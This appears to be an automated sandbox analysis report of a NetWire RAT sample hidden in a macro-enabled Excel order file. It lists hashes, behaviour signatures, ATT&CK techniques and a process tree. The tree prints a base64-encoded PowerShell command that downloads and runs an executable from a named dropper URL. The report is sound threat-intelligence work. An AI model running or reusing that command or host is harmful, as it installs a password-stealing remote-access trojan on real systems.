netwire | 88ae975f4e74736af2a5a9afdb5fa9cdac99f6040495fa9b41b15116ca038edc

General

Target
Order Inquiry .xlsm
Size 416KB
Sample210308-7td66vgnms
SHA256 88ae975f4e74736af2a5a9afdb5fa9cdac99f6040495fa9b41b15116ca038edc
MD5 b5ccbececf177765cf326f65d0ca232e
SHA1 179fff5189d833d805f4cfa8edd24fb7320a621b
SHA512 47dfd402b3b5a2fcca274f65685a2bb9c4171dec3077b72a54702cdfe06d61a4117c2a42ad8753740fa734cf88da02a801226f2141bd1e994c3e6759754ccc58
MD5 SHA1 SHA512

Score

10^/10

netwire botnet rat stealer

Malware Config

Extracted

Language

ps1

Deobfuscated

Source

URLs

exe.dropper
http://adelantosi.com/cp/winiinit.exe

Signatures

NetWire RAT payload 1 IoCs

rat

resource	yara_rule
behavioral2/memory/3912-21-0x0000000000400000-0x0000000000433000-memory.dmp	netwire

Netwire
Netwire is a RAT with main functionalities focused password stealing and keylogging, but also includes remote control capabilities as well.
botnet stealer netwire

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1996	1456	cmd.exe	68

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	3804	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2444	sFCTE.exe
3912	sFCTE.exe

Loads dropped DLL 1 IoCs

pid	Process
2444	sFCTE.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2444 set thread context of 3912	2444	sFCTE.exe	85

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

NSIS installer 6 IoCs

installer

resource	yara_rule
behavioral2/files/0x000200000001abb3-16.dat	nsis_installer_1
behavioral2/files/0x000200000001abb3-16.dat	nsis_installer_2
behavioral2/files/0x000200000001abb3-17.dat	nsis_installer_1
behavioral2/files/0x000200000001abb3-17.dat	nsis_installer_2
behavioral2/files/0x000200000001abb3-20.dat	nsis_installer_1
behavioral2/files/0x000200000001abb3-20.dat	nsis_installer_2

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
1456	EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3804	powershell.exe
3804	powershell.exe
3804	powershell.exe
2444	sFCTE.exe
2444	sFCTE.exe
2444	sFCTE.exe
2444	sFCTE.exe
2444	sFCTE.exe
2444	sFCTE.exe
2444	sFCTE.exe
2444	sFCTE.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
2444	sFCTE.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3804	powershell.exe

Suspicious use of SetWindowsHookEx 14 IoCs

pid	Process
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE
1456	EXCEL.EXE

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 1456 wrote to memory of 1996	1456	EXCEL.EXE	78
PID 1456 wrote to memory of 1996	1456	EXCEL.EXE	78
PID 1996 wrote to memory of 3804	1996	cmd.exe	80
PID 1996 wrote to memory of 3804	1996	cmd.exe	80
PID 3804 wrote to memory of 2444	3804	powershell.exe	84
PID 3804 wrote to memory of 2444	3804	powershell.exe	84
PID 3804 wrote to memory of 2444	3804	powershell.exe	84
PID 2444 wrote to memory of 3912	2444	sFCTE.exe	85
PID 2444 wrote to memory of 3912	2444	sFCTE.exe	85
PID 2444 wrote to memory of 3912	2444	sFCTE.exe	85
PID 2444 wrote to memory of 3912	2444	sFCTE.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Order Inquiry .xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1456
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQBkAGUAbABhAG4AdABvAHMAaQAuAGMAbwBtAC8AYwBwAC8AdwBpAG4AaQBpAG4AaQB0AC4AZQB4AGUAJwAsACgAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAKQArACcAXABzAEYAQwBUAEUALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAyADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABzAEYAQwBUAEUALgBlAHgAZQA=
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:1996
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -encodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYQBkAGUAbABhAG4AdABvAHMAaQAuAGMAbwBtAC8AYwBwAC8AdwBpAG4AaQBpAG4AaQB0AC4AZQB4AGUAJwAsACgAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAKQArACcAXABzAEYAQwBUAEUALgBlAHgAZQAnACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAyADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAAJABlAG4AdgA6AGEAcABwAGQAYQB0AGEAXABzAEYAQwBUAEUALgBlAHgAZQA=
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3804
  - - C:\Users\Admin\AppData\Roaming\sFCTE.exe
      "C:\Users\Admin\AppData\Roaming\sFCTE.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      Suspicious use of SetThreadContext
      Suspicious behavior: EnumeratesProcesses
      Suspicious behavior: MapViewOfSection
      Suspicious use of WriteProcessMemory
      PID:2444
    - - C:\Users\Admin\AppData\Roaming\sFCTE.exe
        
        "C:\Users\Admin\AppData\Roaming\sFCTE.exe"
        5⤵
        Executes dropped EXE
        
        PID:3912

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

3

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1456-3-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

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memory/1456-4-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Download

memory/1456-5-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Download

memory/1456-6-0x00007FFB568F0000-0x00007FFB56F27000-memory.dmp

Download

memory/1456-2-0x00007FFB33400000-0x00007FFB33410000-memory.dmp

Download

memory/3804-12-0x000001D2A91A0000-0x000001D2A91A1000-memory.dmp

Download

memory/3804-13-0x000001D2C18B0000-0x000001D2C18B1000-memory.dmp

Download

memory/3804-14-0x000001D2C16D6000-0x000001D2C16D8000-memory.dmp

Download

memory/3804-11-0x000001D2C16D3000-0x000001D2C16D5000-memory.dmp

Download

memory/3804-10-0x000001D2C16D0000-0x000001D2C16D2000-memory.dmp

Download

memory/3804-9-0x00007FFB4DA80000-0x00007FFB4E46C000-memory.dmp

Download

memory/3912-21-0x0000000000400000-0x0000000000433000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads